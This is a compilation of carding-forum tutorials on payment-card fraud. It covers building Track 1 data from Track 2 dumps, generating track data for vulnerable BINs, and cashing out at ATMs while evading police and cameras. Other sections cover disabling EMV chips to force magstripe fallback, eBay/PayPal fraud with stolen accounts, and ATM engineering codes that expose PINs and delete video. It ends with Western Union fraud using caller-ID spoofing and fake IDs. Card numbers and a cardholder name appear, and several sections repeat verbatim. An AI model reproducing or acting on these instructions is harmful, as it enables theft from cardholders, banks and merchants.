No add 10 zero's after service code:
|
||
B4888603170607238^Head/Potato^05051010000000000
|
||
Next add the remaining numbers from Track2 (after the service code)
|
||
B4888603170607238^Head/Potato^050510100000000001203191805191
|
||
and then add six zero's (6) zero's
|
||
B4888603170607238^Head/Potato^050510100000000001203191805191000000 this is
|
||
your Track 1
|
||
Track 1:B4888603170607238^Head/Potato^050510100000000001203191805191000000
|
||
REMEMEBER THIS IS ONLY FOR VISA AND MASTER CARD(16digits) , AMEX HAS 14
|
||
DIGITS, this doesn't work for Amex
|
||
|
||
FORMAT FOR TRACK2
|
||
CC NUMBER: YYMM (SERVICE CODE)(PVV)/(CVV)
|
||
Here is the Fleet's credit track2 dump:
|
||
4305500092327108=040110110000426
|
||
we see card number, an expiration date, 1011 - service code, 0000 is the place for pvn (but it is absent!),
|
||
and at least 426 is the cvv (do not mix with cvv2)
|
||
Now let's take a look on MBNA's track2 dump:
|
||
4264294318344118=04021010000044500000
|
||
here we see the same - no pvn's and other verification information -just a cvv.
|
||
As clearly shown above it is possible to generate track1 from track2 using the method shown above.
|
||
However track2 gen software automates the process.
|
||
The major process of getting the track2 info is through skimming. Fraudulent POS (Point of sale)
|
||
merchants can use handheld devices called skimmers to read off and download the tracks data from your
|
||
credit card if you are not careful. This is the main method of obtaining the original tracks from the credit
|
||
card.
|
||
However this article will focus on the exploitation of ATM cards using credit card info such as Credit
|
||
card number, cvv2, Exp date and PIN and then using algorithms commonly called ALGOS to generate
|
||
the track2. These credit cards infos are normally obtained by spamming. There are a lot of reviewed
|
||
[censored] who sells these infos in some carding forums.
|
||
Now it is interesting to note that there are a lot of talks about track2 generation possibility. How much is
|
||
it real? However in my own candid opinion, it is very possible to generate track2. The simple truth is this.
|
||
Generation process of debit (and some credit) dumps from the credit card number, expiration date and
|
||
cvv2 code becomes possible because of the banks’ weak, "nonsaturated" structure and the banks failure to
|
||
actually carry out proper validation of the track2 info. It might interest you to know that about 10% of
|
||
banks are vulnerable. This vulnerability called pvv loophole have been fixed for the major banks But still
|
||
sometimes the idiocy and negligence shown by employees of many American (and not only) banks quite
|
||
often continues to surprise all: about 10% of issued cards still vulnerable, even for the moment.
|
||
During the last 2 years I have come to discover so many banks which are still vulnerable to this attack.
|
||
This forms the basis of this article. Armed with the right tool, you can actually encode cards using cc
|
||
number, cvv2, Exp date, PIN and the algos.
|
||
Now what is the nature of the algos you might ask? I will give you a sample.
|
||
518445**********=YYMM10100000000779
|
||
529107**********=YYMM10100000000CVV
|
||
These are track2 info. The RHS is the card number. YYMM is the exp date
|
||
( year/month) and the CVV is the card verification value. The first 6 digits of the card number is called
|
||
the BIN . You only neeed to know if the BIN is casahble or vunerable to use the Algo.
|
||
Below is the screenshot of the Algo list I have compiled and tested to work 100% ( About 800) .
|
||
Because some banks fail to actually validate the full track2 info, it is possible to use track2 generators
|
||
softwares to attack the BINS. You simply enter the credit card number, cvv2, exp date and you get the
|
||
generated track2. Remember this only works for weak BINS or cashable BINS. To test if the track2 you
|
||
have generated is working before practically going to the ATM with the PIN to cash out, it is important
|
||
you check the track2 using online checker. This will save cost for your embossed cards and it will be
|
||
safer for you. I can offer you this service at a modest price of $3 for one track2 info. If you get 00
|
||
approval code and you have the right PIN , you will have about 97% success.
|
||
|
||
Dumps Tutorial :#6
|
||
Short tut, on how to make track one with track 2..
|
||
couple days ago i was looking how to do this, found a way,and just want to post if it may help anyone..I
|
||
know kreenjo offers a gen, but maybe you are not sure if he is keep logs on it....or maybe you just want to
|
||
know if gens ever go down...
|
||
Take example of last dump Track2 (this is a dump):
|
||
Example dump info: 4888603170607238=05051011203191805191 PATACSIL/DAVID Bank
|
||
of America, N.A. (USA) CREDIT PLATINUM United States of America
|
||
4888603170607238=05051011203191805191 <----This is Track 2 (we want to make
|
||
Track 1 out of Track 2
|
||
Head/Potato <---the name of the card holder (LASTNAME/FIRSTNAME)
|
||
Bank of America, N.A. <-- Bank Name
|
||
(USA) <--- Country of Bank
|
||
CREDIT <-- Credit or Debit ( in this case it is Credit)
|
||
PLATINUM <--type of card, eg. Classice, Gold,Platinum
|
||
United States of America <--Country
|
||
When you see and equal sign (=) in a Track it always means it is Track 2
|
||
When you see the letter (cool.gif in front of the Track it is always Track 1
|
||
Now to Make a Track 1 From Track 2 see instructions below (there are online
|
||
web sites that do this but it's good to know the basics of doing it , just
|
||
in case you can't get to an online web connection)
|
||
Take the Credit Card account number from Track 2 in this example it
|
||
is:4888603170607238 and add the letter "B" in the front of the number like
|
||
this B4888603170607238 then add the cardholder name YOU want to show on the
|
||
card B4888603170607238^Head/Potato^(Last name first/First Name)next add the
|
||
expiry date and service code (expiry date is YYMM in this case 0505,and in
|
||
this case the 3 digit service code is 101 so add 0505101 ,
|
||
B4888603170607238^Head/Potato^0505101
|
||
No add 10 zero's after service code:
|
||
B4888603170607238^Head/Potato^05051010000000000
|
||
Next add the remaning numbers from Track2 (after the service code)
|
||
B4888603170607238^Head/Potato^050510100000000001203191805191
|
||
|
||
and then add six zero's (6) zero's
|
||
B4888603170607238^Head/Potato^050510100000000001203191805191000000 this is
|
||
your Track 1
|
||
Track 1:B4888603170607238^Head/Potato^050510100000000001203191805191000000
|
||
REMEMEBER THIS IS ONLY FOR VISA AND MASTER CARD(16digits) , AMEX HAS 15
|
||
DIGITS, this doesn't work for Amex
|
||
Dumps Tutorial :#7
|
||
It applies mostly to the US, but others can pick up some tips too.
|
||
How to cash out Dump + PIN and sleep peacefully at night, what is there to fear? And the most
|
||
importantly – how are they trying to find us?
|
||
I’m sure everyone has their own methods and approaches, so we will not state that we are smarter then
|
||
anyone else. We will simply tell about our approaches and applied tactics then everyone will make their
|
||
own conclusions. I will only say that observing our rules and approaches, through the past 3 years, not
|
||
one of our fighters has been caught.
|
||
1. The fastest and most productive way. We use it only for large amounts of a material, but unfortunately
|
||
for the majority this is out of reach as it requires big capital investment. Not everyone can use this
|
||
method, but for the general picture we have decided to share it.
|
||
Group or one person working on motorcycles.
|
||
Amounts that we did in half a day using motorcycles was 10 times greater than what the same group can
|
||
execute in 3 days using cars. The point is that we can drive up to the ATM without even getting off the
|
||
bikes. Black bike, black helmet - there are thousands of those in the city. Of course the bikes are without
|
||
license plates and exclude any unique features.
|
||
For example ... All of our bikes have a toggle-switch for turning off the back light. In case if anyone
|
||
follows you at night, you can become invisible almost momentarily. To give you an idea of what we do
|
||
during daytime - we use 2 groups on 3 bikes each. Only 2 bikes are cashing and the third one just rides
|
||
around. In case of danger during the routes – if COPS want to pull over one of the 2 bikes, 3rd bike will
|
||
speed up or do some sharp movements (as it seems to COPS). Of course COPS will focus all of their
|
||
attention on the escaping bike leaving alone the other two (filled with money and cards). So far COPS had
|
||
no luck catching the escaping bike ) we use "turbo charged HAYABUSA" motorcycles, but even if they
|
||
do catch up ... maximum they can give a speeding ticket, because that driver has nothing on him. We
|
||
always leave a car near to the place of work. It is very convenient – just stop by for a few minutes every
|
||
so often to drop off the money and empty cards.
|
||
This method is very effective but only for large cities, besides not everyone can drive a motorcycle and I
|
||
am not even talking about their price.
|
||
|
||
2. Using a PICK UP TRUCK. All charm of this method is that it enables to hide the license plates easily
|
||
and the most importantly - legally. Trucks overflow US roads, as they are very common and easily
|
||
accessible. They do not attract much attention and can be easily lost in sight. Alright ... Everyone knows
|
||
that in the US driving a car without front license plates is not a huge offence and COPS usually do not
|
||
pay attention to that. But we still have the back license plate!? We pull down the trunk door and drive the
|
||
car with an open trunk ... In this case the license plate is only visible to other drivers but absolutely not
|
||
visible to cameras located on buildings. This allows parking near the ATM and accelerates your work.
|
||
Plastic.
|
||
Never use plain/ white plastic. It is not safe for many reasons. Someone can notice it and understand
|
||
what’s going on. If cops will find it – they will know what it’s used for right away. And most
|
||
importantly ... if such card is retained by the ATM and in the evening when workers take it out – they will
|
||
understand what it is, they can make a police report and give it for examination which would reveal your
|
||
finger prints. Just go to any grocery store and pick up some GIFT CARDS for example VISA or MC.
|
||
These cards don’t draw attention of any passer-bys; if COPS will find them, they will see them for what
|
||
they are – gift cards, and the most importantly ... When workers will take it out from the ATM (if the card
|
||
was retained), at least 10 people will touch the card – holding it in their hands and trying to figure out
|
||
what moron wanted to take out CASH from a GIFT CARDS. At least this card will not go straight into a
|
||
plastic bag for examination.
|
||
NEVER WRITE ON THE CARD!!!! Lately COPS are instructed on different signs to pay attention to in
|
||
case of credit card detection. And so believe me... they examine each card at least for good 5 minutes.
|
||
And God forbid a PIN is written on it. Use labels or mark the cards and keep the PINs separately.
|
||
ATM!!!
|
||
There are about 10 different kinds. Study them before beginning your work. If you see a small mirror -
|
||
90% chance that there is a CAMERA behind it. You see the black plastic square built into the panel by
|
||
the pin pad or located by the monitor - 100% it’s a camera. You can’t hide from it but you can easily
|
||
cover it with a sticker or something else. Cameras do not record all the time ... They start only after you
|
||
have inserted the card in the ATM. Also, they shoot 15 frames per second - not 24 ... meaning that at
|
||
reproduction the image recorded by the camera will be time-lapsed. And even if your face has got into the
|
||
shot – don’t worry. It is impossible to find someone by the picture. ATM camera in mainly used for:
|
||
when the card holder calls to the bank claiming stolen money - bank does an investigation and looks at
|
||
the recordings from the camera. In 50% of the cases stupid Americans take their money themselves and
|
||
then declare that someone has stolen it. Then bank tells the Americans about the cameras in the ATMs,
|
||
and that the cardholder took out the money himself; and if they continue doing this - they can end up in
|
||
prison. Therefore no one will search for the face in the camera shot. However if your license plates will
|
||
get in the shot - that’s a different story.
|
||
Storage of cards!!!
|
||
Never keep all of the cards in your pocket. Hide them all in the car and take with you only the ones you
|
||
will be using. By the law US COPS can search you in the street or for any small traffic violation.
|
||
However, they cannot search your car. In other words ... for example they stopped you and searched you,
|
||
if they have not found anything in your pockets - they will ask you to search your car. You can safely say
|
||
NO!!! If you don’t have any pending warrants and nothing in your pockets – they would need a warrant
|
||
to search your car. And they cannot get a warrant without a valid reason!!! We had a case when we were
|
||
|
||
searched and asked to search the car ... We refused! After which the obnoxious COP said: we will now
|
||
request a search warrant from the police department and will search your car. We nodded our heads and
|
||
politely asked to sit in the car. In 20 minutes the COP told us that he is dispatched to an urgent call, threw
|
||
our documents in our car and left. Clearly, no one can give him a search warrant without a legitimate
|
||
reason. Before starting your work – get very familiar with the local laws.
|
||
Try to keep all of the cards hidden and the less possible on hands. However, if you are getting pulled over
|
||
by COPS and you have a small amount of cards on hands - the best way is to dump them into the car
|
||
door. When the window is open, there is a crack between the glass and the metal. Dumping the cards
|
||
there - they fall directly inside the door. To get them the door would need to be disassembled and no one
|
||
(COPS) would do that without a reason.
|
||
Communication facility!!!
|
||
Never keep your personal cell phone with you, as it is constantly registers by the operator – tracking your
|
||
movement. For communication use only new phones activated specially for work and do not call
|
||
anywhere besides another phone with the same purpose. Another example … for example your mobile
|
||
phone works only with one operator (as previously iPhone) and approaching the ATM you are holding it
|
||
in hands. Believe me, those looking for you can request the phone operator for all phone numbers which
|
||
were registered in this region at that time ... Certainly the list will be long, but on the next report which
|
||
they will request on another location (where you cashed out another ATM) same phone number will be
|
||
precisely visible - the phone number which was in both places during required time....
|
||
Work in different city/ state.
|
||
Always remember that any card will work better at home. I am not even talking about REGION
|
||
BLOCKS which is a big deal. And so … If the card is from one state and you start cashing it in another –
|
||
the protection on UNUSUAL ACTIVITY works instantly and the bank will most likely call the
|
||
cardholder. If the card is cashed in the same state - it will work much longer. It is already proven by us.
|
||
So if you have a large amount of material from one place – think about it, maybe it’s worth going there.
|
||
Another very important detail. When the cardholder calls his bank claiming someone stole his money -
|
||
bank automatically sees the cardholder as suspected #1. Because the bank doesn’t understand how and
|
||
who can know the PIN code, that is known only to the owner. Maybe the bank understands, but it is
|
||
easier to politely refuse giving a refund to the card holder due to lack of the INFORMATION
|
||
CONFIRMING INNOCENCE of the OWNER. Sounds ridiculous, but it so ... the cardholder has to
|
||
convince the bank of his innocence. That’s why ... If you cash the card in other state - it will be easier for
|
||
owner to prove that it wasn’t him. If the bank knows that the owner is not guilty – they will start
|
||
searching for the one who is. Well and if you bombed a card in a place of its residence – it will be hard
|
||
prove cardholder’s innocence and accordingly nobody will search for you … and if they will – it won’t be
|
||
soon.
|
||
I think everyone knows how to find out where the card is from.
|
||
Overlook your surroundings.
|
||
We always take a couple of days to examine local surroundings before starting work. During these couple
|
||
of days we map out good/ rich and bad areas. We plan routes in advance: observe what time and how
|
||
many COPS patrolling the area, also looking at the arrangement of banks and stand-alone ATMs. We find
|
||
out where the bars and night clubs are located … In the evening there are many people – that is what we
|
||
|
||
need. If you work at night we do not recommend using ATMs located in non-crowded places. Always
|
||
remember that a patrol car can show up anytime and if you the only alive person in their sight – you will
|
||
catch their attention. I recommend going to STRIP CLUBS ... you can look at the girls and the ATMs are
|
||
good there. The limit on withdrawal is higher than in bank ATMs and anybody will pay attention if you
|
||
take money from 4-5 cards. That is a normal phenomenon there.
|
||
Dumps Tutorial :#8
|
||
Today we discuss a little about 201 dumps - a lot of peoples just running away once they seeing terrible
|
||
number 201. Feel easy - things not so terrible.
|
||
First of all i would like to say that write 201 dumps on the chip it is not a fantastic, but is real things, and
|
||
actually not so hard to do. But i want to discuss another thing - i would like to give you a hint how to use
|
||
201 dumps everywhere - even in such places where pos terminal requires chip...
|
||
Lets begin...
|
||
First thing we should have is a card with chip and magnetic stripe.Then we have to look pretty in the
|
||
home for 12V AC adapter. Found. Good. Now all we have to do is to scratch a little chip metal contacts
|
||
with + and - of the adapter. Seeing nice sparks - sign of good work ;-) After this little surgeon chip is not
|
||
working anymore and this is extractly what we need. Now we have to encode 201 track to the regular
|
||
magnetic stripe of the card and safely go to shop... Once the seller trying to insert the card with the chip
|
||
he/she gets a nice error (additinally you can give him a reason that you washed your wallet with the card
|
||
and chip is not working), and now most interesting part - once the terminal detects that chip is not
|
||
fucntioning it switches back to magnetic stripe mode and allows you to swipe the card, all you have to do
|
||
is to persuade the cashier to do it.
|
||
Ebay + Paypal Cash out
|
||
Hey, today I would like to teach you a simple but effective method.
|
||
In this method, you need two PayPal accounts and two eBay accounts.
|
||
Step one: You buy a PayPal and an eBay account off someone. The PayPal should be verified and linked
|
||
with a CC. The CC needs to have a high limit.
|
||
Step two: Sign in to your personal eBay account and list a product that costs like 300$-4000$.
|
||
Step three: Sign in with the stolen eBay account and buy the product with the stolen PayPal that you
|
||
listed. Verify the transaction with the stolen eBay account, and feedback to your real eBay account.
|
||
Step four: Take the money to your eBay account and spend it to whatever you like. The person will not be
|
||
able to charge-back because you accepted the payment with the stolen eBay account.
|
||
That's all it takes to do this guys!
|
||
Happy carding!
|
||
|
||
• Hey, today I would like to teach you a simple but effective method .
|
||
In this method, you need two PayPal accounts and two eBay accounts.
|
||
Step one: You buy a PayPal and an eBay account off someone. The PayPal should be verified and
|
||
linked with a CC. The CC needs to have a high limit.
|
||
Step two: Sign in to your personal eBay account and list a product that costs like 300$-4000$.
|
||
Step three: Sign in with the stolen eBay account and buy the product with the stolen PayPal that
|
||
you listed. Verify the transaction with the stolen eBay account, and feedback to your real eBay
|
||
account.
|
||
Step four: Take the money to your eBay account and spend it to whatever you like. The person
|
||
will not be able to charge-back because you accepted the payment with the stolen eBay account.
|
||
That's all it takes to do this guys!
|
||
Happy carding![/quote
|
||
More explanations needed
|
||
***Withdraw / Cashout from Limited Paypal ***
|
||
Do you have Paypal account with a positive balance and need to Cashout stucked Fund?
|
||
Do u have Paypal Account with Limited Access ???
|
||
Is it over 180 days old?
|
||
Did u recive the email to withdraw funds?
|
||
Do u have more than 100$ in your account?
|
||
If all "YES" send me a message from contact us or knock on live chat , i can cash out from your forgoten
|
||
paypal account
|
||
How will i pay - PayPal,Neteller , VCC , LR ( For LR ,Additional exchange fee applies )
|
||
How long will it take? - 3 - 5 Days
|
||
How much i charge?
|
||
Fees:
|
||
50 - 100 - 60%
|
||
101 - 500 - 55%
|
||
500+ - 50%
|
||
Note
|
||
|
||
1. 180 days older paypal
|
||
2. Don't ask me to pay first
|
||
3. Sometimes the process fails due to paypals failed transfer, if such case we are not responsible.
|
||
4. Don't ask to cashout hacked account, I will block your contact
|
||
Details -
|
||
The account must have a positive balance , prefferably 100+
|
||
Please note, if the account is limited, 180 days (6 months) must have passed since the limitation.
|
||
Sometimes this only takes 45 days, message me for details.
|
||
You will receive the remaining balance, as soon as the funds clear.
|
||
I will follow up with messages at least once a day.
|
||
You will get and payments as quickly as possible.
|
||
This service is available for every country in the world.
|
||
This is a one time deal, if you need ongoing withdrawals, please message me.
|
||
I will not give you cash up front. Don't ask.
|
||
If you need a different form of payment, just ask.
|
||
Accounts must be yours, I will not cashout hacked/stolen accounts.
|
||
Please message me to get started!
|
||
To attend live chat or see further details , visit:
|
||
verifypp .com
|
||
Or Add me in skype : Miskat.thamid.aziz
|
||
Ebay Tutorial
|
||
This article is mainly for beginners who still don’t know how to begin.
|
||
So first you should do – learn language you’re going to communicate with customers well. If you can’t –
|
||
forget about auctions. Selling – it’s communication firstly. And you won’t be able to sell anything
|
||
without communication.
|
||
So you’re newbie, don’t have experience, money. Too bad. Anyway if you don’t have knowing friend
|
||
you need some money to but accounts, cvv’s, socks.
|
||
I’d like also to add a few words about technical aspects of working with eBay. For successful work will
|
||
be enough if you’ll have IP address of country you work with, it’s not obligatory to be the same as
|
||
holder’s city. Also eBay doesn’t check system language, time. I recommend you to make not the GMT -8
|
||
time as it has main eBay office. It’s also possible to use yahoo mail server.
|
||
Seller’s account registration.
|
||
Besides common data you’ll be asked to enter Primary telephone, Secondary telephone, Date of Birth.
|
||
You should enter the number which doesn’t belong to holder but belongs to the same geographical
|
||
position. It’s not recommended to use “always-busy” numbers – eBay has a database of such numbers and
|
||
|
||
you’ll be asked to verify your number. The same about toll-phre and cell phones (but not always). If you
|
||
have an account with enough amount of feeds, it’s worth to order a phone number in USA and use it also
|
||
for communication with buyers – and it could be a point of successful deal. You can use it and for
|
||
unlocking of your account if it will be temporary blocked.
|
||
After you’ll confirm your registration by clicking the link in the letter – you’ll receive fnctional buyer’s
|
||
acc with 0 feedbacks. Next press “sell” button to register as a seller. You’ll be asked to enter holder’s and
|
||
his card’s data. Also you will have to enter the data of holder’s checking account (bank name, routing,
|
||
and account’s number). Of course we don’t have holder’s bank account. And we don’t need it. It’s
|
||
enough to find bank name by BIN look up and find routing number of this bank. Further you can enter
|
||
random number. But if you’ll enter bank account which was already registered before – be ready that
|
||
your fresh account will be locked on the next day.
|
||
Lots posting and selling process.
|
||
With fresh accounts you can:
|
||
1. Post lots with cheap stuff;
|
||
2. Promote them a little and post more expensive stuff.
|
||
It’s better to do lots posting from 5AM to 9 PM PDT as in another time all law-following civilians are
|
||
sleeping. The same about time of contact with buyers (phone and email). Sellers themselves recommend
|
||
to post lots from 5 PM to 7 PM (PDT) as buyers activity is the best at this moment.
|
||
Accounts promotion.
|
||
For accounts promotion you’ll need a little imagination and patiens,
|
||
Remember that first 30 days after registration you’ll have “beginner-mark” near your user ID. Such
|
||
accounts almost useless for work as it attracts buyers’ suspicions. So this time you can promote it or just
|
||
forget about it or a month.
|
||
Firstly on most of new accounts new cheap stuff is posting, better “was in use”. Further you buy it from
|
||
your buyer’s accounts and receive some positive feedbacks. It’s enouth 1-3 such feeds to be possible to
|
||
post more expencive stuff.
|
||
In case if your lot will be won by real buyer you should work a little more to get rid of him. Of course
|
||
you can change registration data and try to take some money from him – but trust me, It’s not good idea.
|
||
Also posting s lot of lots at once to speed the promotion is not a good idea, It will have success in case of
|
||
not popular and cheap stuff, but anyway buyers first look at the last feedbacks and lors which was bought
|
||
for them.
|
||
Selling from fresh accounts.
|
||
Before you’re going to sell something, you should find the drop or yourself who will accept payments
|
||
from buyers on his name and address. That’s why before lot posting you should change the info about
|
||
account’s holder with telephone or without. After this you can post a lot.
|
||
|
||
Engineering codes of ATMs
|
||
Engineering codes of ATMs
|
||
The engineering codes of ATMs
|
||
The engineering codes are used to operetivnogo repair and adjustment of ATMs.
|
||
For the most part and are used in old and new ATMs Japanese (brand not specified), the difference is only
|
||
the immediate combination of signs
|
||
inzh.koda.
|
||
What can I do with inzh.koda with the ATM. Opportunities well finite but quite large.
|
||
Inzh.kodami you can:
|
||
1. View and delete video recording service ATMs.
|
||
2. Prosmoret amount and the Number of banknotes in the cells.
|
||
3. Log of the operations and their keyboard kits
|
||
4. Technical settings, network settings and connections for ATM connected to the Internet or LAN.
|
||
There are three types of ATMs using inzh.kody.
|
||
Type 1 - the engineering uses a special card and pincode.
|
||
TYPE2 - Using flash keys, or e-i-key.
|
||
TYPE3 - uses direct keyboard teh.dostup.
|
||
Codes for ATMs third type:
|
||
Hold the press 071ili # 077. There is an inscription "Pin enter", the default 9999.
|
||
Next appears "Serva enter".
|
||
Type:
|
||
0012 * - Indicates the log operetsy.
|
||
It looks like this:
|
||
1SLR # 123456789012341234567890 ....#
|
||
2SLR # 123456789012341234567890 ....#
|
||
3SLR # 123456789012341234567890 ....#
|
||
and so on ...
|
||
The first 10 digit code operation, the following 4 numbers - PIN card on account number to withdraw an
|
||
amount of banknotes issued by the codes and their Number.
|
||
Exit menu #.
|
||
0026 * - Displays the list videos.
|
||
It looks like this:
|
||
VLP/00/00/00 /: 01 # 1234567890
|
||
VLP/00/00/00 /: 02 # 1234567890
|
||
VLP/00/00/00 /: 03 # 1234567890
|
||
and so on ....
|
||
It's all clear / date / month / year /: serial number # opcode
|
||
To udalti kakyu any record, select it from the list and press the reset button "C".
|
||
To view what an entry (if the ATM supports video viewing), select it from the list and press "*".
|
||
Exit menu #.
|
||
0603 * - Indicates the status of safe and yacheik Number of cuts in them.
|
||
It looks like this:
|
||
FF: A1: 1000/100
|
||
FF: A2: 1000/020
|
||
FF: A3: 1000/010
|
||
and so on ....
|
||
If the front stated "AA" means that the cell is faulty or disabled.
|
||
|
||
Empty or unused cell is denoted "RFF".
|
||
Exit menu #.
|
||
0099 * - Indicates the system number of the ATM, the identifier of the bank statement, date of last
|
||
update, the protocol of the changes.
|
||
Output from the engineering menu # # # 0 with shutting down the ATM, # # # 1 with the inclusion.
|
||
__________________
|
||
Ihack Post
|
||
Getting Cash from a CC using Western Union
|
||
You are going to need the following tools before you go to westernunion.com and transfer money.
|
||
1. A complete Background Check of the card holder
|
||
This is because if you are going to try and transfer anything over $100 dollars USD they will ask you
|
||
various questions such as your previous address, Social security number, Date of birth, Mothers maiden
|
||
name, what your middle name is, what bank issued you your credit card, etc. In order to get that kind of
|
||
infomation you will need to go to a site like peoplefinders.com and it costs about $60 for the infomation
|
||
you might need for western union.
|
||
2. Phone spoofer/voice changer
|
||
You will need this because western union will think you are a fraudster if you arent calling from the card
|
||
holders phone number so you must use a phone spoofer service to make the caller id at western union
|
||
come up with the card holders phone number. Basically trick western union into thinking your calling
|
||
from the card holders house. The voice changer comes with the phone spoofer service and you need this
|
||
obviously so your own voice isnt being recorded incase of an investication and also if your a male and
|
||
your using a females cc to get money from wu you will want to change your voice to sound like a female.
|
||
3. Call fowarding service
|
||
This is something you will need because the phone spoofing service blocks 1800 numbers or any toll free
|
||
phone number. You can only dial 10 digit numbers with phone spoofers so you have to get a call
|
||
fowarding service so when you call the 10 digit number from the call forwarding service it will foward to
|
||
western union.
|
||
4. Internet phone service
|
||
If you are located in europe this is a must because it will cost you too much to use the spoofer and call
|
||
fowarding service and it is also not traceable. I personally use my pre-paid cell phone but i'm located in
|
||
the USA.
|
||
After you have got that stuff all set up the first thing you need to do is make sure the call fowarding works
|
||
and the spoofer works and comes up with whatever number you put in for the caller id. When you finally
|
||
have that all set up and you have your background check all set up then you go to westernunion.com and
|
||
make the transfer. After you make the transfer it will most likely say something to the affect "Transfer on
|
||
hold, Please call Western Union to confirm" or something to that effect and you call them up with the
|
||
|
||
caller id/spoofer and call fowarding service. n00b's to this may have some problems and might not be able
|
||
to pull this off the first 10-15 times but you will get the hang of it like I did. I have done about 13
|
||
transfers and only had maybe 6 actually go though for pickup. Another thing you should get is a fake id
|
||
because that will be the only way to link back to the fraudster in an investication. If you have a fake id
|
||
and use it to pickup money you will most likely not get caught or it will be very hard to track you down.
|
||
Remember that you may not be successful your first few times but keep trying and when you do get a
|
||
successful transfer you will be really happy. Some things I would like to point out is that first check and
|
||
make sure the card your going to use is valid, I personally use yahoo wallet to verify the cc before I even
|
||
think of using it. Also, to get spoofing service for caller id/voice changer I use spoofcard.com and for the
|
||
call fowarding service I use is accessline.com
|
||
You are going to need the following tools before you go to westernunion.com and transfer
|
||
money.
|
||
1. A complete Background Check of the card holder
|
||
This is because if you are going to try and transfer anything over $100 dollars USD they will
|
||
ask you various questions such as your previous address, Social security number, Date of
|
||
birth, Mothers maiden name, what your middle name is, what bank issued you your credit
|
||
card, etc. In order to get that kind of infomation you will need to go to a site like
|
||
peoplefinders.com and it costs about $60 for the infomation you might need for western
|
||
union.
|
||
2. Phone spoofer/voice changer
|
||
You will need this because western union will think you are a fraudster if you arent calling
|
||
from the card holders phone number so you must use a phone spoofer service to make the
|
||
caller id at western union come up with the card holders phone number. Basically trick
|
||
western union into thinking your calling from the card holders house. The voice changer
|
||
comes with the phone spoofer service and you need this obviously so your own voice isnt
|
||
being recorded incase of an investication and also if your a male and your using a females cc
|
||
to get money from wu you will want to change your voice to sound like a female.
|
||
3. Call fowarding service
|
||
This is something you will need because the phone spoofing service blocks 1800 numbers or
|
||
any toll free phone number. You can only dial 10 digit numbers with phone spoofers so you
|
||
have to get a call fowarding service so when you call the 10 digit number from the call
|
||
forwarding service it will foward to western union.
|
||
4. Internet phone service
|
||
If you are located in europe this is a must because it will cost you too much to use the spoofer
|
||
and call fowarding service and it is also not traceable. I personally use my pre-paid cell phone
|
||
but i'm located in the USA.
|
||
After you have got that stuff all set up the first thing you need to do is make sure the call
|
||
fowarding works and the spoofer works and comes up with whatever number you put in for
|
||
the caller id. When you finally have that all set up and you have your background check all set
|
||
up then you go to westernunion.com and make the transfer. After you make the transfer it will
|
||
most likely say something to the affect "Transfer on hold, Please call Western Union to
|
||
confirm" or something to that effect and you call them up with the caller id/spoofer and call
|
||
fowarding service. n00b's to this may have some problems and might not be able to pull this
|
||
off the first 10-15 times but you will get the hang of it like I did. I have done about 13
|
||
transfers and only had maybe 6 actually go though for pickup. Another thing you should get is
|
||
|
||
a fake id because that will be the only way to link back to the fraudster in an investication. If
|
||
you have a fake id and use it to pickup money you will most likely not get caught or it will be
|
||
very hard to track you down.
|
||
Remember that you may not be successful your first few times but keep trying and when you
|
||
do get a successful transfer you will be really happy. Some things I would like to point out is
|
||
that first check and make sure the card your going to use is valid, I personally use yahoo
|
||
wallet to verify the cc before I even think of using it. Also, to get spoofing service for caller
|
||
id/voice changer I use spoofcard.com and for the call fowarding service I use is
|
||
accessline.com
|
||
Holographic Overlaminate
|
||
The present invention includes a process that prints a clear layer or layers over a YMCK composite
|
||
printer layer on an identification card by using the overlayers as a printable surface. These overlayer
|
||
panels (OP) are known in dye sublimation printing. They are typically used to protect the dyes that have
|
||
been sublimated into a substrate from UV degradation. Because the OP has an UV blocking component
|
||
which causes the OP layer to fluoresce in UV light, when a pattern printed in the OP layer is bathed in
|
||
UV light, the entire printed pattern (whether a logo, writing or other computer generated design) will
|
||
fluoresce. Different OP layers have different formations for UV protection. Ribbons with OP layers are
|
||
available from Dai Nippon of Tokyo, Japan have characteristics ranging from brightly fluorescent to
|
||
absorbent. Combining more than one OP layer would give the fluorescing printing changes in intensity
|
||
and hue.
|
||
If the OP layer or layers are used for printing images rather than laid down on the identification card as a
|
||
full sheet, the sublimated dye not covered by the image would be unprotected against UV degradation.
|
||
Since the OP layers themselves are very thin, even with the OP layer being laid down on the card as a full
|
||
sheet, the durability of the image is problematic. Additional overlaminate material can be laminated onto
|
||
the card, increasing the durability and longevity of the card. This second overlaminate material can be the
|
||
holographic material or clear material such as PolyGuard (sold by FARGO Electronics, Inc. of Eden
|
||
Prairie, Minn.).
|
||
If the OP layer is printed over the dye or resin, it does not sublimate into the card but sits on top of the
|
||
card. When the second overlaminate material is laminated on top of the image printed on the OP layer, a
|
||
series of ridges with refracting angles are created by the printed image of the OP layer underneath the
|
||
second overlaminate. By modulating the printed pattern at a high frequency, this process can create
|
||
something similar to a diffractive grating where sharp angles are embossed into the reflective surface to
|
||
create more refractive angles to refract light. In one form, the process causes the printed edges to refract
|
||
the light so that angling the card from a light source will bring the outline of the clear printed image into
|
||
view when the angle of the refracted light aligns with the viewer.
|
||
When more printed OP layers are used, then one OP layer can be used to protect the YMCK dye printing
|
||
and the additional OP layer can be used for security imaging. By putting more OP layers on the card,
|
||
especially when the OP layers have different refractive properties or different UV absorbing or
|
||
fluorescing properties, additional security features can be devised.
|
||
The overlaminate, which is laminated onto the identification card in a second step, can be scored by the
|
||
laminating print head of the identification card printer. This scoring would take the form of reflectively
|
||
compatible angle grooves. Each groove further enhances the OP layer's refractive properties, creating a
|
||
diffraction grating like image to appear as the card is moved away from a horizontal plane and light
|
||
|
||
reflects accordingly.
|
||
The diffraction grating type image which previously had to be embossed into the overlaminates now can
|
||
be simulated by printing the OP layers and using the second overlaminate which will reduce costs, time to
|
||
manufacture, and enable accurate targeting of the image. In addition, if the printed overlaminate is
|
||
modulated by either printing or special overlaminate manufacturing, more reflective edges are created to
|
||
enhance the security image.
|
||
Identification card ribbons (FIG. 1) consist of a series of panels (in the case of FIG. 1, consisting of
|
||
yellow dye (1), cyan dye (2), magenta dye (3), black resin or black dye (4), and a clear overlaminate (5)
|
||
thus being known as a "YMCKO" ribbon, each of which are coated with dye sublimation ink or resin ink.
|
||
Each ribbon can be configured with different ink panels depending on the specifications desired. Thus,
|
||
the ribbon in FIG. 1 could eliminate the black resin panel, thus becoming a "YMCO" ribbon, or the
|
||
overlaminate could be eliminated, thus becoming a "YMCK" ribbon. All combinations of ribbons that are
|
||
able to print in full color require the yellow, cyan, and magenta panels. The ribbons are rolled onto
|
||
